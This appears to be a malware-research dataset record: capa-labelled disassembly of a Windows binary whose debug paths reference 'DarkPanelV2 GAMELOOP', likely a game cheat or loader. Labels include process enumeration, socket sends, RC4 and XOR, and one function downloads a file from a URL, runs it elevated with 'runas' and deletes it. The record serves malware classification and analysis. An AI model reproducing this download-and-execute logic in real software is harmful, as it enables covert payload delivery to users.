joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003f30
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x140003f8d
lea rbx, [0x14014ec70]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140003f74
cmp r10, 2
jb 0x140003f74
cmp byte [r9], r8b
jne 0x140003f74
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140003f50
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x140003fcf
lea rbx, [0x14014ec70]
cmp r8b, 0x23
jne 0x140003fb3
cmp byte [r9], r8b
jne 0x140003fb3
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140003fa0
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x140004190
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
mov rdi, r8
mov rbx, rcx
test rcx, rcx
jne 0x1400041bf
mov r8d, 0x7d4
lea rdx, str.D:DarkPanelV2GAMELOOP_CONTIDEMONimgui.cpp
lea rcx, str.filename__mode
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
test rdi, rdi
je 0x1400041cb
mov qword [rdi], 0
lea rdx, [0x14014e498]
mov rcx, rbx
call fcn.140003fe0
mov rbx, rax
test rax, rax
jne 0x1400041ed
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 0x30], rbp
mov rcx, rbx
mov qword [rsp + 0x38], rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebp, eax
cmp eax, 0xffffffff
je 0x1400042c4
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x1400042c4
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rsi, eax
cmp esi, 0xffffffff
je 0x1400042c4
xor r8d, r8d
mov edx, ebp
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x1400042c4
cmp rsi, 0xffffffffffffffff
je 0x1400042c4
mov rax, qword [0x140241910]
test rax, rax
je 0x140004261
inc dword [rax + 0xf4]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbp, rax
test rax, rax
je 0x1400042c4
mov r9, rbx
mov r8, rsi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rsi
je 0x1400042b1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x140241910]
test rax, rax
je 0x1400042a6
dec dword [rax + 0xf4]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x1400042cd
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rdi, rdi
je 0x1400042bf
mov qword [rdi], rsi
mov rax, rbp
jmp 0x1400042cf
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbp, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140007a10
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov dword [rsp + 0x10], edx
push rdi
sub rsp, 0x20
cmp dword [rcx + 0xf0], 0
mov rsi, rcx
movsxd rdi, edx
jg 0x140007a4c
mov r8d, 0x712
lea rdx, str.D:DarkPanelV2GAMELOOP_CONTIDEMONimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rsi + 0xf8]
lea rdx, [0x14014ec70]
movsxd r8, dword [rsi + 0xf0]
mov ebx, dword [rax + r8*4 - 4]
not ebx
movzx eax, dil
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x39]
xor ebx, dword [rdx + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x3a]
xor ebx, dword [rdx + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x3b]
xor ebx, dword [rdx + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
xor ebx, dword [rdx + rcx*4]
mov rcx, qword [rsi]
not ebx
cmp dword [rcx + 0x3f18], ebx
jne 0x140007ac7
mov r8, rdi
mov edx, 4
mov ecx, ebx
call fcn.14001f130
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1400172a0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, qword [0x140241910]
mov edi, ecx
cmp byte [rbx + 0x4a75], 0
jne 0x1400172f2
cmp byte [rbx + 0x4a76], 0
jne 0x1400172f2
movsx r9d, word [rbx + 0x5b9a]
lea r8, str.Tooltip__02d
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x20]
call fcn.140003d90
test dil, 1
je 0x14001741f
jmp 0x14001737b
movss xmm1, dword [rbx + 0x389c]
lea r8, str.Tooltip__02d
movaps xmm0, xmm1
lea rcx, [rsp + 0x20]
mulss xmm0, dword [0x140158728]
xor eax, eax
mulss xmm1, dword [0x140158710]
addss xmm0, dword [rbx + 0xe08]
lea edx, [rax + 0x10]
addss xmm1, dword [rbx + 0xe0c]
mov qword [rbx + 0x47c0], rax
mov dword [rbx + 0x47ac], 1
movss dword [rbx + 0x47b8], xmm0
movss dword [rbx + 0x47bc], xmm1
movss xmm0, dword [rbx + 0x38f8]
mulss xmm0, dword [0x140158678]
or dword [rbx + 0x47a8], 0x41
movss dword [rbx + 0x4808], xmm0
movsx r9d, word [rbx + 0x5b9a]
call fcn.140003d90
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x1400173d0
lea r11, [0x14014ec70]
nop dword [rax + rax]
cmp r9b, 0x23
jne 0x1400173b3
cmp byte [r8], r9b
jne 0x1400173b3
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x1400173a0
not ecx
call fcn.14000be20
test rax, rax
je 0x14001741f
cmp byte [rax + 0xb6], 0
je 0x14001741f
mov byte [rax + 0xbb], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xbd], 1
lea rcx, [rsp + 0x20]
mov byte [rax + 0xd8], 1
mov edx, reloc.WS2_32.dll_recv
inc word [rbx + 0x5b9a]
movsx r9d, word [rbx + 0x5b9a]
call fcn.140003d90
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20c0347
call fcn.14000eb90
mov rbx, qword [rsp + 0x40]
mov al, 1
add rsp, 0x30
pop rdi
ret
Function at 0x14001d740
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5c80], 0
lea rbx, [rcx + 0x5c88]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x14001d7e7
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x14001d79a
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.14001ffc0
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.140004720
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5c80]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x5c90]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x140241908]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x14001d7ef
mov rcx, rbx
call fcn.140004720
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x14001dcb0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
movzx r8d, byte [rcx]
lea rdx, [rcx + 1]
mov r14, qword [0x140241910]
mov r9d, 0xffffffff
mov ebx, r9d
test r8b, r8b
je 0x14001dd14
lea r10, [0x14014ec70]
cmp r8b, 0x23
jne 0x14001dcf7
cmp byte [rdx], r8b
jne 0x14001dcf7
cmp byte [rdx + 1], r8b
cmove ebx, r9d
movzx ecx, bl
movzx eax, r8b
movzx r8d, byte [rdx]
xor rcx, rax
shr ebx, 8
inc rdx
xor ebx, dword [r10 + rcx*4]
test r8b, r8b
jne 0x14001dce4
mov eax, dword [r14 + 0x5bf8]
xor edi, edi
mov qword [rsp + 0x30], rbp
not ebx
mov qword [rsp + 0x38], rsi
test eax, eax
jle 0x14001dd75
mov esi, edi
mov ebp, edi
test rsi, rsi
js 0x14001dd3a
cmp edi, eax
jl 0x14001dd54
mov r8d, 0x709
lea rdx, str.D:DarkPanelV2GAMELOOP_CONTIDEMONimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [r14 + 0x5c00]
cmp dword [rax + rbp + 8], ebx
je 0x14001dd92
mov eax, dword [r14 + 0x5bf8]
inc edi
inc rsi
add rbp, 0x48
cmp edi, eax
jl 0x14001dd31
xor eax, eax
mov rsi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
test edi, edi
js 0x14001dd9f
cmp edi, dword [r14 + 0x5bf8]
jl 0x14001ddb9
mov r8d, 0x709
lea rdx, str.D:DarkPanelV2GAMELOOP_CONTIDEMONimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rax, edi
lea rcx, [rax + rax*8]
mov rax, qword [r14 + 0x5c00]
lea rax, [rax + rcx*8]
jmp 0x14001dd77
Function at 0x1400365c0
Capabilities:
Hash data using fnv

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
movabs rax, 0xfffffffffffffff
mov rsi, rcx
bsr rcx, rax
mov edi, 1
mov eax, edi
shl rax, cl
cmp rdx, rax
jbe 0x1400365f8
lea rcx, str.invalid_hash_bucket_count
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
lea rax, [rdx - 1]
mov qword [rsp + 0x30], rbx
mov rbx, qword [rsi + 8]
or rax, rdi
bsr rcx, rax
mov r8, rbx
mov qword [rsp + 0x40], r14
inc ecx
shl rdi, cl
lea rcx, [rsi + 0x18]
lea rdx, [rdi + rdi]
call fcn.140036190
lea rax, [rdi - 1]
mov qword [rsi + 0x38], rdi
mov qword [rsi + 0x30], rax
mov rax, qword [rsi + 8]
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x140036736
mov qword [rsp + 0x38], rbp
movabs rdi, 0x100000001b3
movabs rbp, 0xcbf29ce484222325
nop
movzx edx, byte [rax + 0x11]
movzx r9d, byte [rax + 0x10]
mov r11, qword [rsi + 0x30]
xor r9, rbp
mov rcx, qword [rcx]
imul r9, rdi
xor r9, rdx
movzx edx, byte [rax + 0x12]
imul r9, rdi
xor r9, rdx
movzx edx, byte [rax + 0x13]
imul r9, rdi
xor r9, rdx
imul r9, rdi
and r11, r9
shl r11, 4
add r11, qword [rsi + 0x18]
mov r9, qword [r11]
cmp r9, rbx
jne 0x1400366b0
mov qword [r11], rax
mov qword [r11 + 8], rax
jmp 0x140036725
mov rdx, qword [r11 + 8]
mov r8d, dword [rax + 0x10]
cmp r8d, dword [rdx + 0x10]
jne 0x1400366ed
mov r10, qword [rdx]
cmp r10, rax
je 0x1400366e7
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + 8], rax
jmp 0x140036725
cmp r9, rdx
je 0x140036701
mov rdx, qword [rdx + 8]
cmp r8d, dword [rdx + 0x10]
je 0x14003674b
cmp r9, rdx
jne 0x1400366f2
mov r10, qword [rax + 8]
mov qword [r10], rcx
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], rax
mov qword [rdx + 8], r9
mov qword [rcx + 8], r10
mov qword [rax + 8], r8
mov qword [r11], rax
mov rax, rcx
cmp rcx, rbx
jne 0x140036660
mov rbp, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov r14, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x140036725
Function at 0x14003e3e0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x320
mov rbp, rcx
xor esi, esi
xor edx, edx
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14003e417
xor eax, eax
jmp 0x14003e56d
mov dword [rsp + 0xe0], 0x238
lea rdx, [rsp + 0xe0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14003e562
lea rdx, [rsp + 0x10c]
lea rcx, [rsp + 0x20]
call fcn.140046fb0
nop
lea rcx, [rsp + 0x60]
call fcn.140046cc0
nop
lea r8, [rsp + 0x20]
cmp qword [rsp + 0x38], 8
cmovae r8, qword [rsp + 0x20]
mov rax, qword [rsp + 0x30]
lea r9, [r8 + rax*2]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.140047460
nop
lea rcx, [rsp + 0x60]
call fcn.140046bd0
lea rdx, [rsp + 0x40]
mov r9, qword [rsp + 0x58]
cmp r9, 0x10
setae r10b
mov r8, qword [rsp + 0x40]
cmovae rdx, r8
mov rax, rbp
sub rdx, rbp
nop
movzx ebx, byte [rax]
movzx ecx, byte [rax + rdx]
sub ebx, ecx
jne 0x14003e4c2
inc rax
test ecx, ecx
jne 0x14003e4b0
test r10b, r10b
je 0x14003e4f5
lea rdx, [r9 + 1]
mov rax, r8
cmp rdx, 0x1000
jb 0x14003e4ec
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e54d
mov rcx, r8
call fcn.14011a4c4
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x14003e533
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003e52e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e554
call fcn.14011a4c4
test ebx, ebx
je 0x14003e55b
lea rdx, [rsp + 0xe0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x14003e433
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov esi, dword [rsp + 0xe8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x14003ec00
Capabilities:
Send data
Send data on socket

Disassembly:
mov dword [rsp + 0x18], r8d
mov byte [rsp + 0x10], dl
mov dword [rsp + 8], ecx
sub rsp, 0x28
mov rcx, qword [0x1401710d0]
cmp rcx, 0xffffffffffffffff
je 0x14003ecae
xor r9d, r9d
lea rdx, [rsp + 0x30]
lea r8d, [r9 + 4]
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x14003ec4c
mov rcx, qword [0x1401710d0]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, qword [0x1401710d0]
lea rdx, [rsp + 0x40]
xor r9d, r9d
lea r8d, [r9 + 4]
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x14003ec7d
mov rcx, qword [0x1401710d0]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, qword [0x1401710d0]
lea rdx, [rsp + 0x38]
xor r9d, r9d
lea r8d, [r9 + 1]
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x14003ecae
mov rcx, qword [0x1401710d0]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
add rsp, 0x28
ret
Function at 0x14003f7f0
Capabilities:
Create process on windows
Delete file
Download url
Receive data

Disassembly:
push rbp
push rbx
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
xor r14d, r14d
mov rbx, rdx
cmp qword [rdx + 0x18], 0x10
mov r8, rdx
jb 0x14003f814
mov r8, qword [rdx]
cmp qword [rcx + 0x18], 0x10
jb 0x14003f81e
mov rcx, qword [rcx]
mov rdx, rcx
mov qword [rsp + 0x20], r14
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x14003f98f
xorps xmm0, xmm0
mov qword [rsp + 0xe8], rsi
movups xmmword [rbp - 0x29], xmm0
lea rax, str.runas
mov qword [rsp + 0xf0], rdi
mov rdi, qword [rbx + 0x10]
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 0x19], rax
mov eax, 2
movups xmmword [rbp - 9], xmm0
lea rcx, [rdi + 1]
mov dword [rbp - 0x29], reloc.WS2_32.dll_WSASetLastError
mul rcx
movups xmmword [rbp + 7], xmm0
movups xmmword [rbp + 0x17], xmm0
mov rcx, 0xffffffffffffffff
mov dword [rbp - 0x25], 0x40
movups xmmword [rbp + 0x27], xmm0
cmovo rax, rcx
mov qword [rbp - 0x21], r14
mov rcx, rax
movups xmmword [rbp + 0x37], xmm0
call fcn.14011a568
cmp qword [rbx + 0x18], 0x10
mov rsi, rax
mov rdx, rbx
jb 0x14003f8b8
mov rdx, qword [rbx]
mov r8, rdi
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
mov rdx, rsi
mov word [rsi + rdi*2], r14w
lea rcx, [rbp - 0x49]
call fcn.140046fb0
mov rcx, rsi
call fcn.14011a4c4
cmp qword [rbp - 0x31], 8
lea rax, [rbp - 0x49]
xorps xmm0, xmm0
mov dword [rbp + 7], 1
cmovae rax, qword [rbp - 0x49]
lea rcx, [rbp - 0x29]
mov qword [rbp - 0x11], rax
movdqa xmmword [rbp - 9], xmm0
mov qword [rbp + 0xf], r14
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov rdi, qword [rsp + 0xf0]
mov rsi, qword [rsp + 0xe8]
test eax, eax
je 0x14003f939
mov rcx, qword [rbp + 0x3f]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x3f]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbx + 0x18], 0x10
jb 0x14003f943
mov rbx, qword [rbx]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rdx, qword [rbp - 0x31]
cmp rdx, 8
jb 0x14003f98f
mov rcx, qword [rbp - 0x49]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f98a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f98a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011a4c4
add rsp, 0xc0
pop r14
pop rbx
pop rbp
ret
Function at 0x140046790
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
push rsi
push rdi
push r12
push r13
push r14
push r15
mov r14, qword [rsp + 0x58]
xor r15d, r15d
mov r11, qword [rsp + 0x70]
mov r13, rdx
mov rax, qword [rsp + 0x60]
mov qword [r14], r8
mov qword [r11], rax
mov rdi, qword [r14]
cmp rdi, r9
je 0x140046923
mov r12, qword [rsp + 0x68]
lea r8d, [r15 + 1]
mov rsi, qword [r11]
mov r9d, 0x3ff
mov r10d, 0x2400
mov ebx, 0x2800
cmp rsi, r12
je 0x140046923
movzx edx, word [r13]
xor bpl, bpl
movzx ecx, word [rdi]
cmp r8w, dx
jae 0x140046829
lea eax, [r10 + rcx]
cmp ax, r9w
ja 0x140046947
mov eax, edx
sub ecx, 0xdc00
shl eax, 0xa
or eax, ecx
jmp 0x14004683f
mov eax, ecx
add cx, bx
cmp cx, r9w
ja 0x14004683f
shl eax, 0xa
mov bpl, 1
sub eax, 0x35f0000
cmp eax, 0x80
jae 0x140046852
movzx r9d, al
mov r10d, r15d
mov ebx, r15d
jmp 0x14004689d
mov r9d, eax
cmp eax, 0x800
jae 0x14004686c
shr r9d, 6
mov r10d, r8d
or r9b, 0xc0
mov ebx, r8d
jmp 0x14004689d
cmp eax, 0x10000
jae 0x140046886
shr r9d, 0xc
mov r10d, 2
or r9b, 0xe0
mov ebx, r10d
jmp 0x14004689d
shr r9d, 0x12
mov r10d, 3
movzx ebx, bpl
or r9b, 0xf0
xor ebx, 1
add ebx, ebx
lea r8d, [rbx + 1]
mov rdx, r12
sub rdx, rsi
mov ecx, r8d
cmp rdx, rcx
jl 0x140046923
lea rcx, [rdi + 2]
mov qword [r14], rcx
test bpl, bpl
jne 0x1400468c1
cmp r10d, 3
jae 0x1400468cd
mov rcx, qword [r11]
mov r8d, ebx
mov byte [rcx], r9b
inc qword [r11]
mov r9, qword [r11]
test r8d, r8d
jle 0x1400468fe
lea ecx, [r10 + r10*2]
add ecx, ecx
nop dword [rax + rax]
sub ecx, 6
mov edx, eax
shr edx, cl
dec r8d
and dl, 0x3f
or dl, 0x80
mov byte [r9], dl
inc qword [r11]
mov r9, qword [r11]
test r8d, r8d
jg 0x1400468e0
shr eax, 0xa
mov r8d, 1
test bpl, bpl
mov ecx, r8d
cmovne ecx, eax
mov word [r13], cx
mov rdi, qword [r14]
cmp rdi, qword [rsp + 0x50]
jne 0x1400467de
mov rax, qword [rsp + 0x48]
cmp rax, qword [r14]
sete r15b
mov eax, r15d
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
mov eax, 2
jmp 0x140046932
Function at 0x140049e70
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xe0
mov rdi, rdx
mov ecx, 0xb0
lea rdx, [0x1401490d4]
call fcn.14011a570
mov rbx, rax
test rax, rax
je 0x14004a0ba
lea rcx, [rax + 1]
xor edx, edx
mov r8d, 0xaf
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbx + 8]
mov byte [rbx], 1
mov edx, 2
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [rbx + 0x58]
call qword [sym.imp.MSVCP140.dll__Cnd_init_in_situ]
xorps xmm0, xmm0
mov qword [0x140262f68], rbx
movups xmmword [rbx + 0xa0], xmm0
lea rax, [rsp + 0xa0]
mov dword [rsp + 0x28], reloc.WLDAP32.dll_Ordinal_32
lea rbx, str.1196259348444364801
mov qword [rsp + 0x20], rax
mov r8, rbx
mov r9d, 0xffffffff
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
lea rcx, [rsp + 0xa0]
call fcn.140048ae0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rcx, [0x140241d60]
mov dword [0x1402673d8], eax
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
je 0x140049f42
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
test rdi, rdi
je 0x140049f62
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [0x140263170], xmm0
movups xmm0, xmmword [rdi + 0x20]
movups xmmword [0x140263180], xmm1
jmp 0x140049f82
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [0x140263170], xmm0
movups xmmword [0x140263180], xmm0
movups xmmword [0x140263190], xmm0
lea rcx, [0x140241d60]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [0x1402633a0], xmm0
movups xmmword [0x1402633b0], xmm0
movups xmmword [0x1402633c0], xmm0
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
cmp qword [0x1402674e0], 0
jne 0x14004a0c3
mov r8d, 1
lea rax, [0x14023f4a8]
mov edx, r8d
mov qword [0x1402675f0], rax
sub rdx, rbx
lea rcx, [0x140267610]
lea rax, [rdx + rbx]
cmp rax, 0x40
jae 0x14004a00c
movzx eax, byte [rbx]
inc rbx
mov byte [rcx], al
inc rcx
cmp byte [rbx], 0
jne 0x140049ff2
mov rdi, qword [0x140262f68]
lea rax, [0x1402675f0]
mov byte [rcx], 0
mov ecx, 8
mov qword [0x1402674e0], rax
lea rax, [0x14004a630]
mov qword [0x140267600], rax
lea rax, [0x14004a640]
mov qword [0x140267608], rax
xchg byte [rdi], r8b
call fcn.14011a168
lea rcx, [rsp + 0x38]
xor ebx, ebx
mov qword [rsp + 0x28], rcx
lea r8, [0x14004ad60]
xor ecx, ecx
mov dword [rsp + 0x20], ebx
mov r9, rax
mov qword [rax], rdi
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14004a0aa
cmp dword [rdi + 0xa8], ebx
jne 0x14004a0a3
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rdi + 0xa0], xmm1
mov rbx, qword [rsp + 0xf0]
add rsp, 0xe0
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov ecx, 6
mov dword [rsp + 0x38], ebx
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
xor ebx, ebx
mov qword [0x140262f68], rbx
mov rbx, qword [rsp + 0xf0]
add rsp, 0xe0
pop rdi
ret
Function at 0x14004ae80
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r10, rcx
mov r9d, 0x138
mov ecx, dword [rcx]
cmp ecx, r9d
jne 0x14004aef2
lea r8, [r10 + 0x10]
movabs r11, 0xb5026f5aa96619e9
nop dword [rax]
nop word [rax + rax]
mov edx, dword [r8 - 8]
xor edx, dword [r8]
lea r8, [r8 + 8]
btr edx, 0x1f
xor rdx, qword [r8 - 0x10]
movzx eax, dl
and al, 1
neg al
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [r8 + 0x4d0]
xor rcx, rdx
mov qword [r8 + 0x9b0], rcx
sub r9, 1
jne 0x14004aeb0
mov ecx, dword [r10]
jmp 0x14004aff3
cmp ecx, 0x270
jb 0x14004aff3
mov qword [rsp + 0x10], rbx
movabs r11, 0xb5026f5aa96619e9
lea rbx, [r10 + 0x9c8]
mov qword [rsp], rdi
mov rax, qword [rbx]
mov edi, 0x9c
mov rdx, qword [rbx + 8]
lea r8, [rbx + 8]
xor rdx, rax
btr edx, 0x1f
xor rdx, rax
movzx eax, dl
